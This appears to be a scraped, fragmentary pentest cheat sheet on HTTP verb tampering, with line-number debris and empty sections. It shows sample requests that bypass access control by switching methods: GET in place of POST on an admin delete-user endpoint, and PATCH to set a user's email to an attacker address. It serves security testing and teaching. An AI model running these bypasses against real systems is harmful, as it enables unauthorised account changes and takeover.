HTTP Verb Tampering
Check List
Methodology
Black Box
HTTP Tampering Bypassing Access Denied
1
2
3
4
5
POST /admin/deleteUser HTTP/1.1
Host: target.com6
7
GET /admin/deleteUser HTTP/1.1
Host: target.com8
9
10
Admin Emails & Passwords Exposed via HTTP Method Change
1
2
3
4
5
POST /index.php/api/rest/latest/windows HTTP/1.16
7
8
HTTP/1.1 201 Created
Host: example.com
Cookie: ...
.. ..
{"id":1}9
10
11
12
Improper PATCH Method Handling for Unauthorized User Data Modification
1
2
3
4
PUT /api/users/{user_id}
POST /api/users/{user_id}403 Forbidden5
PATCH /api/users/{user_id}6
7
{
"email": "attacker@evil.com"
}8
9
10
White Box
Cheat Sheet
Last updated